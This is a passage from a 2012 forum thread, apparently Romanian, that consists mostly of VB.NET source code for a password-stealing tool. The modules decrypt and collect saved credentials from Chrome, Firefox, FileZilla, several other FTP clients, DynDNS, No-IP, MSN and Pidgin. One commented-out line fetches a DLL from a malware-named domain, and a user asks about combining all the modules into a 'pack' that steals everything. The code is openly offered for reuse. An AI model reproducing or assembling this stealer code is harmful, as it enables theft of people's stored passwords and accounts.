Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============Pidgin==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Pidgin Not Installed!") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) End Try End If End FunctionEnd Module14.SmartFTPModule SmartFTP Function SmartFTP() As String Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml") Dim sFile As String = ReadFile(sPath) Dim sHost As String = Cut(sFile, "<Host>", "</Host>") Dim sPort As String = Cut(sFile, "<Port>", "</Port>") Dim sUser As String = Cut(sFile, "<User>", "</User>") Dim sPwd As String = Cut(sFile, "<Password>", "</Password>") Dim sEntry As String = Cut(sFile, "<Name>", "</Name>") If Not sUser = "" Then Try SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Password: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============SmartFTP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============SmartFTP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("SmartFTP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End Function Function ReadFile(ByVal sFile As String) As String On Error Resume Next Dim OpenFile As New System.IO.StreamReader(sFile) ReadFile = OpenFile.ReadToEnd.ToString End Function Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String On Error Resume Next Dim c() As String Dim c2() As String c = Split(sInhalt, sText) c2 = Split(c(1), stext2) Cut = c2(0) End Function Function RegRead(ByVal hKey As String) As String Dim wshShell As Object = CreateObject("WScript.Shell") On Error Resume Next RegRead = wshShell.RegRead(hKey) End Function Public Function ReadLine(ByVal filename As String, _ ByVal line As Integer) As String Try Dim lines As String() = My.Computer.FileSystem.ReadAllText( _ filename, System.Text.Encoding.Default).Split(vbCrLf) If line > 0 Then Return lines(line - 1) ElseIf line < 0 Then Return lines(lines.Length + line - 1) Else Return "" End If Catch ex As Exception Return "" End Try End FunctionEnd Module Edited April 13, 2012 by sandabot Quote Link to comment Share on other sites More sharing options...
LLegoLLaS Posted April 13, 2012 Report Share Posted April 13, 2012 (edited) as vrea o sursa asemantoare care sa copieze license-key-ul din windows 7 si s-o salveze intr-un text,in aceeasi locate cu a exe-ului (usb) am nevoie doar de algoritmul care citeste cheia criptata in registry si o decripteasa (este reversable).Restul ma descurc.Sau care e algoritmul de decriptare? Edited April 13, 2012 by LLegoLLaS Quote Link to comment Share on other sites More sharing options...
me.mello Posted April 13, 2012 Report Share Posted April 13, 2012 legolas...chiar microsoft a facut publica sursa unde se afla licenta, si chiar un script ca sa o modifici....ce e asa complicat? Quote Link to comment Share on other sites More sharing options...
LLegoLLaS Posted April 16, 2012 Report Share Posted April 16, 2012 nu-mi mai trebuie.Stiam unde se afla dar nu stiam algoritmul.Anyway am gasit.Merci de ajutor Quote Link to comment Share on other sites More sharing options...
JohnyCNAM Posted April 16, 2012 Report Share Posted April 16, 2012 Bravo tie.Si daca as vrea sa fac un pack care sa fure tot ceea ce ai descrie, doar copiez toate codurile acelea in sursa lui? Quote Link to comment Share on other sites More sharing options...
fimoza85 Posted April 30, 2012 Report Share Posted April 30, 2012 1.ChromeImports System.Runtime.InteropServicesImports System.IOImports System.TextImports stub.SQLiteWrapperPublic Class Chromer Public Shared cPass As String Public Shared Function GetChrome() 'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL") Try Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data" If File.Exists(datapath) Then Dim SQLconnect As New SqlClient.SqlConnection() Dim SQLcommand As SqlClient.SqlCommand SQLconnect.ConnectionString = "Data Source=" + datapath + ";" SQLconnect.Open() SQLcommand = SQLconnect.CreateCommand SQLcommand.CommandText = "SELECT * FROM logins" Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader() Dim host, user, pass As String While SQLreader.Read() host = SQLreader("origin_url") user = SQLreader("username_value") pass = Decrypt(SQLreader("password_value")) If (user <> "") And (pass <> "") Then Dim pss As New ListViewItem pss.Text = host cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _ & vbNewLine & " ") End If End While SQLcommand.Dispose() SQLconnect.Close() End If Catch e As Exception MsgBox(e.ToString) End Try End Function <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _ Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean End Function <Flags()> Enum CryptProtectPromptFlags CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1 CRYPTPROTECT_PROMPT_ON_PROTECT = &H2 End Enum <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT Public cbSize As Integer Public dwPromptFlags As CryptProtectPromptFlags Public hwndApp As IntPtr Public szPrompt As String End Structure <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB Public cbData As Integer Public pbData As IntPtr End Structure Shared Function Decrypt(ByVal Datas() As Byte) As String Dim inj, Ors As New DATA_BLOB Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned) inj.pbData = Ghandle.AddrOfPinnedObject() inj.cbData = Datas.Length Ghandle.Free() CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors) Dim Returned() As Byte = New Byte(Ors.cbData) {} Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData) Dim TheString As String = Encoding.Default.GetString(Returned) Return TheString.Substring(0, TheString.Length - 1) End FunctionEnd Class2.CoreFTPModule CoreFTP Function CoreFTP() As String Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx" Dim sFile As String = ReadFile(sPath) Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host") Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port") Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User") Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW") Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name") If Not sUser = "" Then Try CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============CoreFTP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============CoreFTP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End FunctionEnd Module3.DynDNSModule Dyndns Public Function GoogleDns() As String On Error Resume Next GoogleDns = Nothing Dim sAppData As String Dim sPath As String Dim sLine As String Dim sUser As String = Nothing Dim sPassword As String = Nothing Dim i As Integer Dim sChars As String = Nothing Dim lPtr As Integer sAppData = Environ("ALLUSERSPROFILE") If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\" sPath = sAppData & "DynDNS\Updater\config.dyndns" 'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"' If Dir(sPath) <> "" Then FileOpen(1, sPath, OpenMode.Binary) Do While Not EOF(1) sLine = vbNullString sLine = LineInput(1) If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10) If Left(sLine, 9) = "Password=" Then sPassword = Mid(sLine, 10) 'We have what we want, now exit do Exit Do End If Loop FileClose(1) For i = 1 To Len(sPassword) Step 2 sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2))) Next i For i = 1 To Len(sChars) Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1)))) lPtr = ((lPtr + 1) Mod 8) Next i Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============DYNDNS==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sChars) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) If sUser = "" Or sChars = "" Then Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============DYNDNS==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) End If End If End FunctionEnd Module4.FireFox 1Imports SystemImports System.IOImports System.Runtime.InteropServicesImports System.DataImports FireFox.SQLiteWrapperImports System.TextModule FFDecryptor Public Class SHITEMID Public Shared cb As Long Public Shared abID As Byte() End Class <StructLayout(LayoutKind.Sequential)> _ Public Structure TSECItem Public SECItemType As Integer Public SECItemData As Integer Public SECItemLen As Integer End Structure <DllImport("kernel32.dll")> _ Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr End Function Private NSS3 As IntPtr <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _ Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long Public Function NSS_Init(ByVal configdir As String) As Long Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\" LoadLibrary(MozillaPath & "mozcrt19.dll") LoadLibrary(MozillaPath & "nspr4.dll") LoadLibrary(MozillaPath & "plc4.dll") LoadLibrary(MozillaPath & "plds4.dll") LoadLibrary(MozillaPath & "ssutil3.dll") LoadLibrary(MozillaPath & "sqlite3.dll") LoadLibrary(MozillaPath & "nssutil3.dll") LoadLibrary(MozillaPath & "softokn3.dll") NSS3 = LoadLibrary(MozillaPath & "nss3.dll") Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init") Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate) Return dll(configdir) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate2() As Long Public Function PK11_GetInternalKeySlot() As Long Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot") Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2) Return dll() End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate") Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3) Return dll(slot, loadCerts, wincx) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer") Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4) Return dll(arenaOpt, outItemOpt, inStr, inLen) End Function <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _ Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt") Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5) Return dll(data, result, cx) End Function Public signon As StringEnd Module5.FireFox 2Imports SystemImports System.Collections.GenericImports System.TextImports System.Runtime.InteropServicesImports System.DataImports System.CollectionsNamespace SQLiteWrapper Public Class SQLiteBase <DllImport("kernel32")> _ Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr End Function <DllImport("kernel32")> _ Private Shared Function GetProcessHeap() As IntPtr End Function <DllImport("kernel32")> _ Private Shared Function lstrlen(ByVal str As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr End Function <DllImport("sqlite3")> _ Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer End Function ' SQLite constants Private Const SQL_OK As Integer = 0 Private Const SQL_ROW As Integer = 100 Private Const SQL_DONE As Integer = 101 Public Enum SQLiteDataTypes INT = 1 FLOAT TEXT BLOB NULL End Enum Private database As IntPtr Public Sub New() database = IntPtr.Zero End Sub Public Sub New(ByVal baseName As [String]) OpenDatabase(baseName) End Sub Public Sub OpenDatabase(ByVal baseName As [String]) If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then database = IntPtr.Zero Throw New Exception("Error with opening database " & baseName & "!") End If End Sub Public Sub CloseDatabase() If database <> IntPtr.Zero Then sqlite3_close(database) End If End Sub Public Function GetTables() As ArrayList Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1" Dim table As DataTable = ExecuteQuery(query) Dim list As New ArrayList() For Each row As DataRow In table.Rows list.Add(row.ItemArray(0).ToString()) Next Return list End Function Public Sub ExecuteNonQuery(ByVal query As [String]) Dim [error] As IntPtr sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error]) If [error] <> IntPtr.Zero Then Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error]))) End If End Sub Public Function ExecuteQuery(ByVal query As [String]) As DataTable Dim statement As IntPtr Dim excessData As IntPtr sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData) Dim table As New DataTable() Dim result As Integer = ReadFirstRow(statement, table) While result = SQL_ROW result = ReadNextRow(statement, table) End While sqlite3_finalize(statement) Return table End Function Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer table = New DataTable("resultTable") Dim resultType As Integer = sqlite3_step(statement) If resultType = SQL_ROW Then Dim columnCount As Integer = sqlite3_column_count(statement) Dim columnName As [String] = "" Dim columnType As Integer = 0 Dim columnValues As Object() = New Object(columnCount - 1) {} For i As Integer = 0 To columnCount - 1 columnName = PointerToString(sqlite3_column_name(statement, i)) columnType = sqlite3_column_type(statement, i) Select Case columnType Case CInt(SQLiteDataTypes.INT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.Int32")) columnValues(i) = sqlite3_column_int(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.FLOAT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.Single")) columnValues(i) = sqlite3_column_double(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.TEXT) If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = PointerToString(sqlite3_column_text(statement, i)) Exit Select End If Case CInt(SQLiteDataTypes.BLOB) If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = PointerToString(sqlite3_column_blob(statement, i)) Exit Select End If Case Else If True Then table.Columns.Add(columnName, Type.[GetType]("System.String")) columnValues(i) = "" Exit Select End If End Select Next table.Rows.Add(columnValues) End If Return sqlite3_step(statement) End Function Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer Dim columnCount As Integer = sqlite3_column_count(statement) Dim columnType As Integer = 0 Dim columnValues As Object() = New Object(columnCount - 1) {} For i As Integer = 0 To columnCount - 1 columnType = sqlite3_column_type(statement, i) Select Case columnType Case CInt(SQLiteDataTypes.INT) If True Then columnValues(i) = sqlite3_column_int(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.FLOAT) If True Then columnValues(i) = sqlite3_column_double(statement, i) Exit Select End If Case CInt(SQLiteDataTypes.TEXT) If True Then columnValues(i) = PointerToString(sqlite3_column_text(statement, i)) Exit Select End If Case CInt(SQLiteDataTypes.BLOB) If True Then columnValues(i) = PointerToString(sqlite3_column_blob(statement, i)) Exit Select End If Case Else If True Then columnValues(i) = "" Exit Select End If End Select Next table.Rows.Add(columnValues) Return sqlite3_step(statement) End Function Private Function StringToPointer(ByVal str As [String]) As IntPtr If str Is Nothing Then Return IntPtr.Zero Else Dim encoding__1 As Encoding = Encoding.UTF8 Dim bytes As [Byte]() = encoding__1.GetBytes(str) Dim length As UInteger = bytes.Length + 1 Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32)) Marshal.Copy(bytes, 0, pointer, bytes.Length) Marshal.WriteByte(pointer, bytes.Length, 0) Return pointer End If End Function Private Function PointerToString(ByVal ptr As IntPtr) As [String] If ptr = IntPtr.Zero Then Return Nothing End If Dim encoding__1 As Encoding = Encoding.UTF8 Dim length As Integer = GetPointerLenght(ptr) Dim bytes As [Byte]() = New [Byte](length - 1) {} Marshal.Copy(ptr, bytes, 0, length) Return encoding__1.GetString(bytes, 0, length) End Function Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer If ptr = IntPtr.Zero Then Return 0 End If Return lstrlen(ptr) End Function End ClassEnd Namespace6. FileZillaModule Filezilla Function ShoitZilla() As String On Error Resume Next Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml" Dim FileBuffer As String = vbNull Dim NL As String = vbNewLine FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd() Dim str As String Dim Output As String = Nothing Dim TempData() As String TempData = FileBuffer.Split(vbCrLf) FileBuffer = Nothing For Each str In TempData If str.Contains("</Host>") Then str.Replace("<Host>", "").Replace("</Host>", "") Output = Output & "Host : " & str & NL End If If str.Contains("</User>") Then str.Replace("<User>", "").Replace("</User>", "") Output = Output & "Username : " & str & NL End If If str.Contains("</Pass>") Then str.Replace("<Pass>", "").Replace("</Pass>", "") Output = Output & "Password : " & str & NL & NL End If Next Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine ShoitZilla = Output Form1.ztext.AppendText(Output) End FunctionEnd Module7.FlashFXPModule FlashFXP Function FlashFXP() As String Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat" Dim sFile As String = ReadFile(sPath) Dim sHost As String = Cut(sFile, "IP=", vbNewLine) Dim sPort As String = Cut(sFile, "port=", vbNewLine) Dim sUser As String = Cut(sFile, "user=", vbNewLine) Dim sPwd As String = Cut(sFile, "pass=", vbNewLine) Dim sEntry As String = Cut(sFile, "created=", vbNewLine) If Not sUser = "" Then Try FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)" Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============FlashFXP==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception Form1.ztext.AppendText("============FlashFXP==============") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!") Form1.ztext.AppendText(vbNewLine) Form1.ztext.AppendText("=================================") End Try Else End If End FunctionEnd Module8.FtpCommanderModule FTPCommander Function FtpCommander() As String Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt" Dim sFile As String = ReadLine(sPath, -1) Dim sHost As String = Cut(sFile, ";Server=", ";Port=") Dim sPort As String = Cut(sFile, ";Port=", ";Password=") Dim sUser As String = Cut(sFile, ";User=", ";*********=") Dim sPwd As String = Cut(sFile, ";Password=", ";User=") Dim sEntry As String = Cut(sFile, "Name=", ";Server=") If Not sUser = "" Then Try FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============FTP Commander==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Entry: " & sEntry) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Host: " & sHost) Form1.ztext.AppendText(": " & sPort) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("User: " & sUser) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & sPwd) Form1.ztext.AppendText("=============================") Form1.ztext.AppendText(nl) Catch ex As Exception End Try Else End If End FunctionEnd Module9.IMVUModule Imvu Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values On Error GoTo Error_Renamed ' // If Error dont Display Error Dim X As Object ' // X = CreateObject("WScript.shell") ' // Create REG Object ReadKey = X.regread(hKey) ' // Read The Key Exit FunctionError_Renamed: ReadKey = vbNullString ' // If Error Readkey = "" End Function Public Function Hex2Ascii(ByVal Text As String) As String Dim Value As Object Dim num As Object Dim i As Object ' // Simple Function for Pass Hex to Ascii Value = Nothing For i = 1 To Len(Text) ' Len of Encripted Text num = Mid(Text, i, 2) ' // Go Chr by Chr Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex i = i + 1 ' // +1 Next i ' Next Chr Hex2Ascii = Value ' // End Function10. MSNImports System.Collections.GenericImports System.TextImports System.Runtime.InteropServicesImports System.IO Module MSN <DllImport("advapi32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _ Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInteger, ByVal count As UInteger, ByVal pCredentials As IntPtr) As Boolean End Function <DllImport("crypt32", CharSet:=CharSet.Auto, SetLastError:=True)> _ Friend Function CryptUnprotectData(ByRef dataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal optionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, _ ByVal pDataOut As DATA_BLOB) As Boolean End Function Friend Structure CREDENTIAL Public Flags As Integer Public Type As Integer <MarshalAs(UnmanagedType.LPWStr)> _ Public TargetName As String <MarshalAs(UnmanagedType.LPWStr)> _ Public Comment As String Public LastWritten As Long Public CredentialBlobSize As Integer Public CredentialBlob As Integer Public Persist As Integer Public AttributeCount As Integer Public Attributes As IntPtr <MarshalAs(UnmanagedType.LPWStr)> _ Public TargetAlias As String <MarshalAs(UnmanagedType.LPWStr)> _ Public UserName As String End Structure Private Cred As CREDENTIAL Friend Structure DATA_BLOB Public cbData As Integer Public pbData As Integer End Structure Friend Structure UserDetails Public uName As String Public uPass As String End Structure Public count As UInteger Public pCredentials As IntPtr = IntPtr.Zero Public dataIn As DATA_BLOB Public dataOut As DATA_BLOB Public uDetail As UserDetails Public Function getPwd() As String() Password() Dim pass As String() = {uDetail.uName, uDetail.uPass} Return pass End Function Public Sub Password() Try Dim ptr As IntPtr = Marshal.ReadIntPtr(pCredentials, 0 * 4) Cred = CType(Marshal.PtrToStructure(ptr, Cred.[GetType]()), CREDENTIAL) dataIn.pbData = Cred.CredentialBlob dataIn.cbData = Cred.CredentialBlobSize CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, _ dataOut) dataOut.pbData = dataIn.pbData uDetail.uName = Cred.UserName uDetail.uPass = (Marshal.PtrToStringUni(New IntPtr(dataOut.pbData))) Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============MSN==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Username: " & uDetail.uName) Form1.ztext.AppendText(nl) Form1.ztext.AppendText("Password: " & uDetail.uPass) Form1.ztext.AppendText(nl) Exit Sub Catch x As Exception Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) Form1.ztext.AppendText("============MSN==============") Form1.ztext.AppendText(nl) Form1.ztext.AppendText("MSN Could not be recovered!") Form1.ztext.AppendText(nl) Exit Sub End Try End SubEnd Module11. NO-IPModule No_IP Public Function base64Decode(ByVal data As String) As String Try Dim encoder As New System.Text.UTF8Encoding() Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder() Dim todecode_byte As Byte() = Convert.FromBase64String(Data) Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length) Dim decoded_char As Char() = New Char(charCount - 1) {} utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0) Dim result As String = New [String](decoded_char) Return result Catch e As Exception End Try End Function Function IpRecord() As String Try IpRecord = Nothing Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing) Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing) Dim nl As String = vbNewLine Form1.ztext.AppendText(nl) 